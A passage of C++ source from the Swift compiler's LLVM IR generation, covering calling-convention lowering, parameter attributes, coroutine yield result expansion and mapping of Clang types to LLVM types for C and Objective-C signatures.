return NumWords_YieldOnceBuffer * IGM.getPointerSize();
}
static Alignment getYieldOnceCoroutineBufferAlignment(IRGenModule &IGM) {
return IGM.getPointerAlignment();
}
static Size getYieldManyCoroutineBufferSize(IRGenModule &IGM) {
return NumWords_YieldManyBuffer * IGM.getPointerSize();
}
static Alignment getYieldManyCoroutineBufferAlignment(IRGenModule &IGM) {
return IGM.getPointerAlignment();
}
static Size getCoroutineContextSize(IRGenModule &IGM,
CanSILFunctionType fnType) {
switch (fnType->getCoroutineKind()) {
case SILCoroutineKind::None:
llvm_unreachable("expand a coroutine");
case SILCoroutineKind::YieldOnce:
return getYieldOnceCoroutineBufferSize(IGM);
case SILCoroutineKind::YieldMany:
return getYieldManyCoroutineBufferSize(IGM);
}
llvm_unreachable("bad kind");
}
llvm::Type *ExplosionSchema::getScalarResultType(IRGenModule &IGM) const {
if (size() == 0) {
return IGM.VoidTy;
} else if (size() == 1) {
return begin()->getScalarType();
} else {
SmallVector<llvm::Type*, 16> elts;
for (auto &elt : *this) elts.push_back(elt.getScalarType());
return llvm::StructType::get(IGM.getLLVMContext(), elts);
}
}
static void addDereferenceableAttributeToBuilder(IRGenModule &IGM,
llvm::AttrBuilder &b,
const TypeInfo &ti) {
// The addresses of empty values are undefined, so we can't safely mark them
// dereferenceable.
if (ti.isKnownEmpty(ResilienceExpansion::Maximal))
return;
// If we know the type to have a fixed nonempty size, then the pointer is
// dereferenceable to at least that size.
// TODO: Would be nice to have a "getMinimumKnownSize" on TypeInfo for
// dynamic-layout aggregates.
if (auto fixedTI = dyn_cast<FixedTypeInfo>(&ti)) {
b.addAttribute(
llvm::Attribute::getWithDereferenceableBytes(IGM.LLVMContext,
fixedTI->getFixedSize().getValue()));
}
}
static void addIndirectValueParameterAttributes(IRGenModule &IGM,
llvm::AttributeList &attrs,
const TypeInfo &ti,
unsigned argIndex) {
llvm::AttrBuilder b;
// Value parameter pointers can't alias or be captured.
b.addAttribute(llvm::Attribute::NoAlias);
b.addAttribute(llvm::Attribute::NoCapture);
// The parameter must reference dereferenceable memory of the type.
addDereferenceableAttributeToBuilder(IGM, b, ti);
attrs = attrs.addAttributes(IGM.LLVMContext,
argIndex + llvm::AttributeList::FirstArgIndex, b);
}
static void addInoutParameterAttributes(IRGenModule &IGM,
llvm::AttributeList &attrs,
const TypeInfo &ti, unsigned argIndex,
bool aliasable) {
llvm::AttrBuilder b;
// Aliasing inouts is unspecified, but we still want aliasing to be memory-
// safe, so we can't mark inouts as noalias at the LLVM level.
// They still can't be captured without doing unsafe stuff, though.
b.addAttribute(llvm::Attribute::NoCapture);
// The inout must reference dereferenceable memory of the type.
addDereferenceableAttributeToBuilder(IGM, b, ti);
attrs = attrs.addAttributes(IGM.LLVMContext,
argIndex + llvm::AttributeList::FirstArgIndex, b);
}
static llvm::CallingConv::ID getFreestandingConvention(IRGenModule &IGM) {
// TODO: use a custom CC that returns three scalars efficiently
return IGM.SwiftCC;
}
/// Expand the requirements of the given abstract calling convention
/// into a "physical" calling convention.
llvm::CallingConv::ID irgen::expandCallingConv(IRGenModule &IGM,
SILFunctionTypeRepresentation convention) {
switch (convention) {
case SILFunctionTypeRepresentation::CFunctionPointer:
case SILFunctionTypeRepresentation::ObjCMethod:
case SILFunctionTypeRepresentation::Block:
return llvm::CallingConv::C;
case SILFunctionTypeRepresentation::Method:
case SILFunctionTypeRepresentation::WitnessMethod:
case SILFunctionTypeRepresentation::Closure:
case SILFunctionTypeRepresentation::Thin:
case SILFunctionTypeRepresentation::Thick:
return getFreestandingConvention(IGM);
}
llvm_unreachable("bad calling convention!");
}
static void addIndirectResultAttributes(IRGenModule &IGM,
llvm::AttributeList &attrs,
unsigned paramIndex, bool allowSRet) {
llvm::AttrBuilder b;
b.addAttribute(llvm::Attribute::NoAlias);
b.addAttribute(llvm::Attribute::NoCapture);
if (allowSRet)
b.addAttribute(llvm::Attribute::StructRet);
attrs = attrs.addAttributes(IGM.LLVMContext,
paramIndex + llvm::AttributeList::FirstArgIndex,
b);
}
void IRGenModule::addSwiftSelfAttributes(llvm::AttributeList &attrs,
unsigned argIndex) {
llvm::AttrBuilder b;
b.addAttribute(llvm::Attribute::SwiftSelf);
attrs = attrs.addAttributes(this->LLVMContext,
argIndex + llvm::AttributeList::FirstArgIndex, b);
}
void IRGenModule::addSwiftErrorAttributes(llvm::AttributeList &attrs,
unsigned argIndex) {
// Don't add the swifterror attribute on ABI that don't pass it in a register.
// We create a shadow stack location of the swifterror parameter for the
// debugger on such platforms and so we can't mark the parameter with a
// swifterror attribute.
if (!this->IsSwiftErrorInRegister)
return;
llvm::AttrBuilder b;
b.addAttribute(llvm::Attribute::SwiftError);
attrs = attrs.addAttributes(this->LLVMContext,
argIndex + llvm::AttributeList::FirstArgIndex, b);
}
void irgen::addByvalArgumentAttributes(IRGenModule &IGM,
llvm::AttributeList &attrs,
unsigned argIndex, Alignment align) {
llvm::AttrBuilder b;
b.addAttribute(llvm::Attribute::ByVal);
b.addAttribute(llvm::Attribute::getWithAlignment(IGM.LLVMContext,
align.getValue()));
attrs = attrs.addAttributes(IGM.LLVMContext,
argIndex + llvm::AttributeList::FirstArgIndex, b);
}
void irgen::addExtendAttribute(IRGenModule &IGM, llvm::AttributeList &attrs,
unsigned index, bool signExtend) {
llvm::AttrBuilder b;
if (signExtend)
b.addAttribute(llvm::Attribute::SExt);
else
b.addAttribute(llvm::Attribute::ZExt);
attrs = attrs.addAttributes(IGM.LLVMContext, index, b);
}
namespace swift {
namespace irgen {
namespace {
class SignatureExpansion {
IRGenModule &IGM;
CanSILFunctionType FnType;
public:
SmallVector<llvm::Type*, 8> ParamIRTypes;
llvm::Type *ResultIRType = nullptr;
llvm::AttributeList Attrs;
ForeignFunctionInfo ForeignInfo;
CoroutineInfo CoroInfo;
bool CanUseSRet = true;
bool CanUseError = true;
bool CanUseSelf = true;
SignatureExpansion(IRGenModule &IGM, CanSILFunctionType fnType)
: IGM(IGM), FnType(fnType) {}
/// Expand the components of the primary entrypoint of the function type.
void expandFunctionType();
/// Expand the components of the continuation entrypoint of the
/// function type.
void expandCoroutineContinuationType();
Signature getSignature();
private:
void expand(SILParameterInfo param);
llvm::Type *addIndirectResult();
SILFunctionConventions getSILFuncConventions() const {
return SILFunctionConventions(FnType, IGM.getSILModule());
}
unsigned getCurParamIndex() {
return ParamIRTypes.size();
}
bool claimSRet() {
bool result = CanUseSRet;
CanUseSRet = false;
return result;
}
bool claimSelf() {
auto Ret = CanUseSelf;
assert(CanUseSelf && "Multiple self parameters?!");
CanUseSelf = false;
return Ret;
}
bool claimError() {
auto Ret = CanUseError;
assert(CanUseError && "Multiple error parameters?!");
CanUseError = false;
return Ret;
}
/// Add a pointer to the given type as the next parameter.
void addPointerParameter(llvm::Type *storageType) {
ParamIRTypes.push_back(storageType->getPointerTo());
}
void addCoroutineContextParameter();
void expandResult();
llvm::Type *expandDirectResult();
void expandParameters();
void expandExternalSignatureTypes();
void expandCoroutineResult(bool forContinuation);
void expandCoroutineContinuationParameters();
};
} // end anonymous namespace
} // end namespace irgen
} // end namespace swift
llvm::Type *SignatureExpansion::addIndirectResult() {
auto resultType = getSILFuncConventions().getSILResultType();
const TypeInfo &resultTI = IGM.getTypeInfo(resultType);
addIndirectResultAttributes(IGM, Attrs, ParamIRTypes.size(), claimSRet());
addPointerParameter(resultTI.getStorageType());
return IGM.VoidTy;
}
/// Expand all of the direct and indirect result types.
void SignatureExpansion::expandResult() {
if (FnType->isCoroutine()) {
// This should be easy enough to support if we need to: use the
// same algorithm but add the direct results to the results as if
// they were unioned in.
return expandCoroutineResult(/*for continuation*/ false);
}
auto fnConv = getSILFuncConventions();
// Disable the use of sret if we have multiple indirect results.
if (fnConv.getNumIndirectSILResults() > 1)
CanUseSRet = false;
// Expand the direct result.
ResultIRType = expandDirectResult();
// Expand the indirect results.
for (auto indirectResultType : fnConv.getIndirectSILResultTypes()) {
addIndirectResultAttributes(IGM, Attrs, ParamIRTypes.size(), claimSRet());
addPointerParameter(IGM.getStorageType(indirectResultType));
}
}
namespace {
class YieldSchema {
SILType YieldTy;
const TypeInfo &YieldTI;
Optional<NativeConventionSchema> NativeSchema;
bool IsIndirect;
public:
YieldSchema(IRGenModule &IGM, SILFunctionConventions fnConv,
SILYieldInfo yield)
: YieldTy(fnConv.getSILType(yield)),
YieldTI(IGM.getTypeInfo(YieldTy)) {
if (isFormalIndirect()) {
IsIndirect = true;
} else {
NativeSchema.emplace(IGM, &YieldTI, /*result*/ true);
IsIndirect = NativeSchema->requiresIndirect();
}
}
SILType getSILType() const {
return YieldTy;
}
const TypeInfo &getTypeInfo() const {
return YieldTI;
}
/// Should the yielded value be yielded as a pointer?
bool isIndirect() const { return IsIndirect; }
/// Is the yielded value formally indirect?
bool isFormalIndirect() const { return YieldTy.isAddress(); }
llvm::PointerType *getIndirectPointerType() const {
assert(isIndirect());
return YieldTI.getStorageType()->getPointerTo();
}
const NativeConventionSchema &getDirectSchema() const {
assert(!isIndirect());
return *NativeSchema;
}
void enumerateDirectComponents(llvm::function_ref<void(llvm::Type*)> fn) {
getDirectSchema().enumerateComponents([&](clang::CharUnits begin,
clang::CharUnits end,
llvm::Type *componentTy) {
fn(componentTy);
});
}
};
}
void SignatureExpansion::expandCoroutineResult(bool forContinuation) {
assert(FnType->getNumResults() == 0 &&
"having both normal and yield results is currently unsupported");
// The return type may be different for the ramp function vs. the
// continuations.
if (forContinuation) {
switch (FnType->getCoroutineKind()) {
case SILCoroutineKind::None:
llvm_unreachable("should have been filtered out before here");
// Yield-once coroutines just return void from the continuation.
case SILCoroutineKind::YieldOnce:
ResultIRType = IGM.VoidTy;
return;
// Yield-many coroutines yield the same types from the continuation
// as they do from the ramp function.
case SILCoroutineKind::YieldMany:
break;
}
}
SmallVector<llvm::Type*, 8> components;
// The continuation pointer.
components.push_back(IGM.Int8PtrTy);
auto fnConv = getSILFuncConventions();
for (auto yield : FnType->getYields()) {
YieldSchema schema(IGM, fnConv, yield);
// If the individual value must be yielded indirectly, add a pointer.
if (schema.isIndirect()) {
components.push_back(schema.getIndirectPointerType());
continue;
}
// Otherwise, collect all the component types.
schema.enumerateDirectComponents([&](llvm::Type *type) {
components.push_back(type);
});
}
// Find the maximal sequence of the component types that we can
// convince the ABI to pass directly.
// When counting components, ignore the continuation pointer.
unsigned numDirectComponents = components.size() - 1;
SmallVector<llvm::Type*, 8> overflowTypes;
while (clang::CodeGen::swiftcall::
shouldPassIndirectly(IGM.ClangCodeGen->CGM(), components,
/*asReturnValue*/ true)) {
// If we added a pointer to the end of components, remove it.
if (!overflowTypes.empty()) components.pop_back();
// Remove the last component and add it as an overflow type.
overflowTypes.push_back(components.pop_back_val());
numDirectComponents--;
// Add a pointer to the end of components.
components.push_back(IGM.Int8PtrTy);
}
// We'd better have been able to pass at least two pointers.
assert(components.size() >= 2 || overflowTypes.empty());
CoroInfo.NumDirectYieldComponents = numDirectComponents;
// Replace the pointer type we added to components with the real
// pointer-to-overflow type.
if (!overflowTypes.empty()) {
std::reverse(overflowTypes.begin(), overflowTypes.end());
// TODO: should we use some sort of real layout here instead of
// trusting LLVM's?
components.back() =
llvm::StructType::get(IGM.getLLVMContext(), overflowTypes)
->getPointerTo();
}
ResultIRType = components.size() == 1
? components.front()
: llvm::StructType::get(IGM.getLLVMContext(), components);
}
void SignatureExpansion::expandCoroutineContinuationParameters() {
// The coroutine context.
addCoroutineContextParameter();
// Whether this is an unwind resumption.
ParamIRTypes.push_back(IGM.Int1Ty);
}
void SignatureExpansion::addCoroutineContextParameter() {
// Flag that the context is dereferenceable and unaliased.
auto contextSize = getCoroutineContextSize(IGM, FnType);
Attrs = Attrs.addDereferenceableParamAttr(IGM.getLLVMContext(),
getCurParamIndex(),
contextSize.getValue());
Attrs = Attrs.addParamAttribute(IGM.getLLVMContext(),
getCurParamIndex(),
llvm::Attribute::NoAlias);
ParamIRTypes.push_back(IGM.Int8PtrTy);
}
NativeConventionSchema::NativeConventionSchema(IRGenModule &IGM,
const TypeInfo *ti,
bool IsResult)
: Lowering(IGM.ClangCodeGen->CGM()) {
if (auto *loadable = dyn_cast<LoadableTypeInfo>(ti)) {
// Lower the type according to the Swift ABI.
loadable->addToAggLowering(IGM, Lowering, Size(0));
Lowering.finish();
// Should we pass indirectly according to the ABI?
RequiresIndirect = Lowering.shouldPassIndirectly(IsResult);
} else {
Lowering.finish();
RequiresIndirect = true;
}
}
llvm::Type *NativeConventionSchema::getExpandedType(IRGenModule &IGM) const {
if (empty())
return IGM.VoidTy;
SmallVector<llvm::Type *, 8> elts;
Lowering.enumerateComponents([&](clang::CharUnits offset,
clang::CharUnits end,
llvm::Type *type) { elts.push_back(type); });
if (elts.size() == 1)
return elts[0];
auto &ctx = IGM.getLLVMContext();
return llvm::StructType::get(ctx, elts, /*packed*/ false);
}
std::pair<llvm::StructType *, llvm::StructType *>
NativeConventionSchema::getCoercionTypes(
IRGenModule &IGM, SmallVectorImpl<unsigned> &expandedTyIndicesMap) const {
auto &ctx = IGM.getLLVMContext();
if (empty()) {
auto type = llvm::StructType::get(ctx);
return {type, type};
}
clang::CharUnits lastEnd = clang::CharUnits::Zero();
llvm::SmallSet<unsigned, 8> overlappedWithSuccessor;
unsigned idx = 0;
// Mark overlapping ranges.
Lowering.enumerateComponents(
[&](clang::CharUnits offset, clang::CharUnits end, llvm::Type *type) {
if (offset < lastEnd) {
overlappedWithSuccessor.insert(idx);
}
lastEnd = end;
++idx;
});
// Create the coercion struct with only the integer portion of overlapped
// components and non-overlapped components.
idx = 0;
lastEnd = clang::CharUnits::Zero();
SmallVector<llvm::Type *, 8> elts;
bool packed = false;
Lowering.enumerateComponents(
[&](clang::CharUnits begin, clang::CharUnits end, llvm::Type *type) {
bool overlapped = overlappedWithSuccessor.count(idx) ||
(idx && overlappedWithSuccessor.count(idx - 1));
++idx;
if (overlapped && !isa<llvm::IntegerType>(type)) {
// keep the old lastEnd for padding.
return;
}
// Add padding (which may include padding for overlapped non-integer
// components).
if (begin != lastEnd) {
auto paddingSize = begin - lastEnd;
assert(!paddingSize.isNegative());
auto padding = llvm::ArrayType::get(llvm::Type::getInt8Ty(ctx),
paddingSize.getQuantity());
elts.push_back(padding);
}
if (!packed &&
!begin.isMultipleOf(clang::CharUnits::fromQuantity(
IGM.DataLayout.getABITypeAlignment(type))))
packed = true;
elts.push_back(type);
expandedTyIndicesMap.push_back(idx - 1);
lastEnd = begin + clang::CharUnits::fromQuantity(
IGM.DataLayout.getTypeAllocSize(type));
assert(end <= lastEnd);
});
auto *coercionType = llvm::StructType::get(ctx, elts, packed);
if (overlappedWithSuccessor.empty())
return {coercionType, llvm::StructType::get(ctx)};
// Create the coercion struct with only the non-integer overlapped
// components.
idx = 0;
lastEnd = clang::CharUnits::Zero();
elts.clear();
packed = false;
Lowering.enumerateComponents(
[&](clang::CharUnits begin, clang::CharUnits end, llvm::Type *type) {
bool overlapped = overlappedWithSuccessor.count(idx) ||
(idx && overlappedWithSuccessor.count(idx - 1));
++idx;
if (!overlapped || (overlapped && isa<llvm::IntegerType>(type))) {
// Ignore and keep the old lastEnd for padding.
return;
}
// Add padding.
if (begin != lastEnd) {
auto paddingSize = begin - lastEnd;
assert(!paddingSize.isNegative());
auto padding = llvm::ArrayType::get(llvm::Type::getInt8Ty(ctx),
paddingSize.getQuantity());
elts.push_back(padding);
}
if (!packed &&
!begin.isMultipleOf(clang::CharUnits::fromQuantity(
IGM.DataLayout.getABITypeAlignment(type))))
packed = true;
elts.push_back(type);
expandedTyIndicesMap.push_back(idx - 1);
lastEnd = begin + clang::CharUnits::fromQuantity(
IGM.DataLayout.getTypeAllocSize(type));
assert(end <= lastEnd);
});
auto *overlappedCoercionType = llvm::StructType::get(ctx, elts, packed);
return {coercionType, overlappedCoercionType};
}
// TODO: Direct to Indirect result conversion could be handled in a SIL
// AddressLowering pass.
llvm::Type *SignatureExpansion::expandDirectResult() {
// Handle the direct result type, checking for supposedly scalar
// result types that we actually want to return indirectly.
auto resultType = getSILFuncConventions().getSILResultType();
// Fast-path the empty tuple type.
if (auto tuple = resultType.getAs<TupleType>())
if (tuple->getNumElements() == 0)
return IGM.VoidTy;
switch (FnType->getLanguage()) {
case SILFunctionLanguage::C:
llvm_unreachable("Expanding C/ObjC parameters in the wrong place!");
break;
case SILFunctionLanguage::Swift: {
auto &ti = IGM.getTypeInfo(resultType);
auto &native = ti.nativeReturnValueSchema(IGM);
if (native.requiresIndirect())
return addIndirectResult();
// Disable the use of sret if we have a non-trivial direct result.
if (!native.empty()) CanUseSRet = false;
return native.getExpandedType(IGM);
}
}
llvm_unreachable("Not a valid SILFunctionLanguage.");
}
static const clang::FieldDecl *
getLargestUnionField(const clang::RecordDecl *record,
const clang::ASTContext &ctx) {
const clang::FieldDecl *largestField = nullptr;
clang::CharUnits unionSize = clang::CharUnits::Zero();
for (auto field : record->fields()) {
assert(!field->isBitField());
clang::CharUnits fieldSize = ctx.getTypeSizeInChars(field->getType());
if (unionSize < fieldSize) {
unionSize = fieldSize;
largestField = field;
}
}
assert(largestField && "empty union?");
return largestField;
}
namespace {
/// A CRTP class for working with Clang's ABIArgInfo::Expand
/// argument type expansions.
template <class Impl, class... Args> struct ClangExpand {
IRGenModule &IGM;
const clang::ASTContext &Ctx;
ClangExpand(IRGenModule &IGM) : IGM(IGM), Ctx(IGM.getClangASTContext()) {}
Impl &asImpl() { return *static_cast<Impl*>(this); }
void visit(clang::CanQualType type, Args... args) {
switch (type->getTypeClass()) {
#define TYPE(Class, Base)
#define NON_CANONICAL_TYPE(Class, Base) \
case clang::Type::Class:
#define DEPENDENT_TYPE(Class, Base) \
case clang::Type::Class:
#define NON_CANONICAL_UNLESS_DEPENDENT_TYPE(Class, Base) \
case clang::Type::Class:
#include "clang/AST/TypeNodes.def"
llvm_unreachable("canonical or dependent type in ABI lowering");
// These shouldn't occur in expandable struct types.
case clang::Type::IncompleteArray:
case clang::Type::VariableArray:
llvm_unreachable("variable-sized or incomplete array in ABI lowering");
// We should only ever get ObjC pointers, not underlying objects.
case clang::Type::ObjCInterface:
case clang::Type::ObjCObject:
llvm_unreachable("ObjC object type in ABI lowering");
// We should only ever get function pointers.
case clang::Type::FunctionProto:
case clang::Type::FunctionNoProto:
llvm_unreachable("non-pointer function type in ABI lowering");
// We currently never import C++ code, and we should be able to
// kill Expand before we do.
case clang::Type::LValueReference:
case clang::Type::RValueReference:
case clang::Type::MemberPointer:
case clang::Type::Auto:
case clang::Type::DeducedTemplateSpecialization:
llvm_unreachable("C++ type in ABI lowering?");
case clang::Type::Pipe:
llvm_unreachable("OpenCL type in ABI lowering?");
case clang::Type::ConstantArray: {
auto array = Ctx.getAsConstantArrayType(type);
auto elt = Ctx.getCanonicalType(array->getElementType());
auto &&context = asImpl().beginArrayElements(elt);
uint64_t n = array->getSize().getZExtValue();
for (uint64_t i = 0; i != n; ++i) {
asImpl().visitArrayElement(elt, i, context, args...);
}
return;
}
case clang::Type::Record: {
auto record = cast<clang::RecordType>(type)->getDecl();
if (record->isUnion()) {
auto largest = getLargestUnionField(record, Ctx);
asImpl().visitUnionField(record, largest, args...);
} else {
auto &&context = asImpl().beginStructFields(record);
for (auto field : record->fields()) {
asImpl().visitStructField(record, field, context, args...);
}
}
return;
}
case clang::Type::Complex: {
auto elt = type.castAs<clang::ComplexType>().getElementType();
asImpl().visitComplexElement(elt, 0, args...);
asImpl().visitComplexElement(elt, 1, args...);
return;
}
// Just handle this types as opaque integers.
case clang::Type::Enum:
case clang::Type::Atomic:
asImpl().visitScalar(convertTypeAsInteger(type), args...);
return;
case clang::Type::Builtin:
asImpl().visitScalar(
convertBuiltinType(type.castAs<clang::BuiltinType>()),
args...);
return;
case clang::Type::Vector:
case clang::Type::ExtVector:
asImpl().visitScalar(
convertVectorType(type.castAs<clang::VectorType>()),
args...);
return;
case clang::Type::Pointer:
case clang::Type::BlockPointer:
case clang::Type::ObjCObjectPointer:
asImpl().visitScalar(IGM.Int8PtrTy, args...);
return;
}
llvm_unreachable("bad type kind");
}
Size getSizeOfType(clang::QualType type) {
auto clangSize = Ctx.getTypeSizeInChars(type);
return Size(clangSize.getQuantity());
}
private:
llvm::Type *convertVectorType(clang::CanQual<clang::VectorType> type) {
auto eltTy =
convertBuiltinType(type->getElementType().castAs<clang::BuiltinType>());
return llvm::VectorType::get(eltTy, type->getNumElements());
}
llvm::Type *convertBuiltinType(clang::CanQual<clang::BuiltinType> type) {
switch (type.getTypePtr()->getKind()) {
#define BUILTIN_TYPE(Id, SingletonId)
#define PLACEHOLDER_TYPE(Id, SingletonId) \
case clang::BuiltinType::Id:
#include "clang/AST/BuiltinTypes.def"
case clang::BuiltinType::Dependent:
llvm_unreachable("placeholder type in ABI lowering");
// We should never see these unadorned.
case clang::BuiltinType::ObjCId:
case clang::BuiltinType::ObjCClass:
case clang::BuiltinType::ObjCSel:
llvm_unreachable("bare Objective-C object type in ABI lowering");
// This should never be the type of an argument or field.
case clang::BuiltinType::Void:
llvm_unreachable("bare void type in ABI lowering");
// We should never see the OpenCL builtin types at all.
case clang::BuiltinType::OCLImage1dRO:
case clang::BuiltinType::OCLImage1dRW:
case clang::BuiltinType::OCLImage1dWO:
case clang::BuiltinType::OCLImage1dArrayRO:
case clang::BuiltinType::OCLImage1dArrayRW:
case clang::BuiltinType::OCLImage1dArrayWO:
case clang::BuiltinType::OCLImage1dBufferRO:
case clang::BuiltinType::OCLImage1dBufferRW:
case clang::BuiltinType::OCLImage1dBufferWO:
case clang::BuiltinType::OCLImage2dRO:
case clang::BuiltinType::OCLImage2dRW:
case clang::BuiltinType::OCLImage2dWO:
case clang::BuiltinType::OCLImage2dArrayRO:
case clang::BuiltinType::OCLImage2dArrayRW:
case clang::BuiltinType::OCLImage2dArrayWO:
case clang::BuiltinType::OCLImage2dDepthRO:
case clang::BuiltinType::OCLImage2dDepthRW:
case clang::BuiltinType::OCLImage2dDepthWO:
case clang::BuiltinType::OCLImage2dArrayDepthRO:
case clang::BuiltinType::OCLImage2dArrayDepthRW:
case clang::BuiltinType::OCLImage2dArrayDepthWO:
case clang::BuiltinType::OCLImage2dMSAARO:
case clang::BuiltinType::OCLImage2dMSAARW:
case clang::BuiltinType::OCLImage2dMSAAWO:
case clang::BuiltinType::OCLImage2dArrayMSAARO:
case clang::BuiltinType::OCLImage2dArrayMSAARW:
case clang::BuiltinType::OCLImage2dArrayMSAAWO:
case clang::BuiltinType::OCLImage2dMSAADepthRO:
case clang::BuiltinType::OCLImage2dMSAADepthRW:
case clang::BuiltinType::OCLImage2dMSAADepthWO:
case clang::BuiltinType::OCLImage2dArrayMSAADepthRO:
case clang::BuiltinType::OCLImage2dArrayMSAADepthRW:
case clang::BuiltinType::OCLImage2dArrayMSAADepthWO:
case clang::BuiltinType::OCLImage3dRO:
case clang::BuiltinType::OCLImage3dRW:
case clang::BuiltinType::OCLImage3dWO:
case clang::BuiltinType::OCLSampler:
case clang::BuiltinType::OCLEvent:
case clang::BuiltinType::OCLClkEvent:
case clang::BuiltinType::OCLQueue:
case clang::BuiltinType::OCLReserveID:
llvm_unreachable("OpenCL type in ABI lowering");
// Handle all the integer types as opaque values.
#define BUILTIN_TYPE(Id, SingletonId)
#define SIGNED_TYPE(Id, SingletonId) \
case clang::BuiltinType::Id:
#define UNSIGNED_TYPE(Id, SingletonId) \
case clang::BuiltinType::Id:
#include "clang/AST/BuiltinTypes.def"
return convertTypeAsInteger(type);
// Lower all the floating-point values by their semantics.
case clang::BuiltinType::Half:
return convertFloatingType(Ctx.getTargetInfo().getHalfFormat());
case clang::BuiltinType::Float:
return convertFloatingType(Ctx.getTargetInfo().getFloatFormat());
case clang::BuiltinType::Double:
return convertFloatingType(Ctx.getTargetInfo().getDoubleFormat());
case clang::BuiltinType::LongDouble:
return convertFloatingType(Ctx.getTargetInfo().getLongDoubleFormat());
case clang::BuiltinType::Float128:
return convertFloatingType(Ctx.getTargetInfo().getFloat128Format());
// nullptr_t -> void*
case clang::BuiltinType::NullPtr:
return IGM.Int8PtrTy;
}
llvm_unreachable("bad builtin type");
}
llvm::Type *convertFloatingType(const llvm::fltSemantics &format) {
if (&format == &llvm::APFloat::IEEEhalf())
return llvm::Type::getHalfTy(IGM.getLLVMContext());
if (&format == &llvm::APFloat::IEEEsingle())
return llvm::Type::getFloatTy(IGM.getLLVMContext());
if (&format == &llvm::APFloat::IEEEdouble())
return llvm::Type::getDoubleTy(IGM.getLLVMContext());
if (&format == &llvm::APFloat::IEEEquad())
return llvm::Type::getFP128Ty(IGM.getLLVMContext());
if (&format == &llvm::APFloat::PPCDoubleDouble())
return llvm::Type::getPPC_FP128Ty(IGM.getLLVMContext());
if (&format == &llvm::APFloat::x87DoubleExtended())
return llvm::Type::getX86_FP80Ty(IGM.getLLVMContext());
llvm_unreachable("bad float format");
}
llvm::Type *convertTypeAsInteger(clang::QualType type) {
auto size = getSizeOfType(type);
return llvm::IntegerType::get(IGM.getLLVMContext(),
size.getValueInBits());
}
};
/// A CRTP specialization of ClangExpand which projects down to
/// various aggregate elements of an address.
///
/// Subclasses should only have to define visitScalar.
template <class Impl>
class ClangExpandProjection : public ClangExpand<Impl, Address> {
using super = ClangExpand<Impl, Address>;
using super::asImpl;
using super::IGM;
using super::Ctx;
using super::getSizeOfType;
protected:
IRGenFunction &IGF;
ClangExpandProjection(IRGenFunction &IGF)
: super(IGF.IGM), IGF(IGF) {}
public:
void visit(clang::CanQualType type, Address addr) {
assert(addr.getType() == IGM.Int8PtrTy);
super::visit(type, addr);
}
Size beginArrayElements(clang::CanQualType element) {
return getSizeOfType(element);
}
void visitArrayElement(clang::CanQualType element, unsigned i,
Size elementSize, Address arrayAddr) {
asImpl().visit(element, createGEPAtOffset(arrayAddr, elementSize * i));
}
void visitComplexElement(clang::CanQualType element, unsigned i,
Address complexAddr) {
Address addr = complexAddr;
if (i) { addr = createGEPAtOffset(complexAddr, getSizeOfType(element)); }
asImpl().visit(element, addr);
}
void visitUnionField(const clang::RecordDecl *record,
const clang::FieldDecl *field,
Address structAddr) {
asImpl().visit(Ctx.getCanonicalType(field->getType()), structAddr);
}
const clang::ASTRecordLayout &
beginStructFields(const clang::RecordDecl *record) {
return Ctx.getASTRecordLayout(record);
}
void visitStructField(const clang::RecordDecl *record,
const clang::FieldDecl *field,
const clang::ASTRecordLayout &layout,
Address structAddr) {
auto fieldIndex = field->getFieldIndex();
assert(!field->isBitField());
auto fieldOffset = Size(layout.getFieldOffset(fieldIndex) / 8);
asImpl().visit(Ctx.getCanonicalType(field->getType()),
createGEPAtOffset(structAddr, fieldOffset));
}
private:
Address createGEPAtOffset(Address addr, Size offset) {
if (offset.isZero()) {
return addr;
} else {
return IGF.Builder.CreateConstByteArrayGEP(addr, offset);
}
}
};
/// A class for collecting the types of a Clang ABIArgInfo::Expand
/// argument expansion.
struct ClangExpandTypeCollector : ClangExpand<ClangExpandTypeCollector> {
SmallVectorImpl<llvm::Type*> &Types;
ClangExpandTypeCollector(IRGenModule &IGM,
SmallVectorImpl<llvm::Type*> &types)
: ClangExpand(IGM), Types(types) {}
bool beginArrayElements(clang::CanQualType element) { return true; }
void visitArrayElement(clang::CanQualType element, unsigned i, bool _) {
visit(element);
}
void visitComplexElement(clang::CanQualType element, unsigned i) {
visit(element);
}
void visitUnionField(const clang::RecordDecl *record,
const clang::FieldDecl *field) {
visit(Ctx.getCanonicalType(field->getType()));
}
bool beginStructFields(const clang::RecordDecl *record) { return true; }
void visitStructField(const clang::RecordDecl *record,
const clang::FieldDecl *field,
bool _) {
visit(Ctx.getCanonicalType(field->getType()));
}
void visitScalar(llvm::Type *type) {
Types.push_back(type);
}
};
} // end anonymous namespace
static bool doesClangExpansionMatchSchema(IRGenModule &IGM,
clang::CanQualType type,
const ExplosionSchema &schema) {
assert(!schema.containsAggregate());
SmallVector<llvm::Type *, 4> expansion;
ClangExpandTypeCollector(IGM, expansion).visit(type);
if (expansion.size() != schema.size())
return false;
for (size_t i = 0, e = schema.size(); i != e; ++i) {
if (schema[i].getScalarType() != expansion[i])
return false;
}
return true;
}
/// Expand the result and parameter types to the appropriate LLVM IR
/// types for C and Objective-C signatures.
void SignatureExpansion::expandExternalSignatureTypes() {
assert(FnType->getLanguage() == SILFunctionLanguage::C);
// Convert the SIL result type to a Clang type.
auto clangResultTy = IGM.getClangType(FnType->getFormalCSemanticResult());
// Now convert the parameters to Clang types.
auto params = FnType->getParameters();
SmallVector<clang::CanQualType,4> paramTys;
auto const &clangCtx = IGM.getClangASTContext();
switch (FnType->getRepresentation()) {
case SILFunctionTypeRepresentation::ObjCMethod: {
// ObjC methods take their 'self' argument first, followed by an
// implicit _cmd argument.
auto &self = params.back();
auto clangTy = IGM.getClangType(self);
paramTys.push_back(clangTy);
paramTys.push_back(clangCtx.VoidPtrTy);
params = params.drop_back();
break;
}
case SILFunctionTypeRepresentation::Block:
// Blocks take their context argument first.
paramTys.push_back(clangCtx.VoidPtrTy);
break;
case SILFunctionTypeRepresentation::CFunctionPointer:
// No implicit arguments.
break;
case SILFunctionTypeRepresentation::Thin:
case SILFunctionTypeRepresentation::Thick:
case SILFunctionTypeRepresentation::Method:
case SILFunctionTypeRepresentation::WitnessMethod:
case SILFunctionTypeRepresentation::Closure:
llvm_unreachable("not a C representation");
}
// Given an index within the clang parameters list, what do we need
// to subtract from it to get to the corresponding index within the
// Swift parameters list?
size_t clangToSwiftParamOffset = paramTys.size();
// Convert each parameter to a Clang type.
for (auto param : params) {
auto clangTy = IGM.getClangType(param);
paramTys.push_back(clangTy);
}
// Generate function info for this signature.
auto extInfo = clang::FunctionType::ExtInfo();
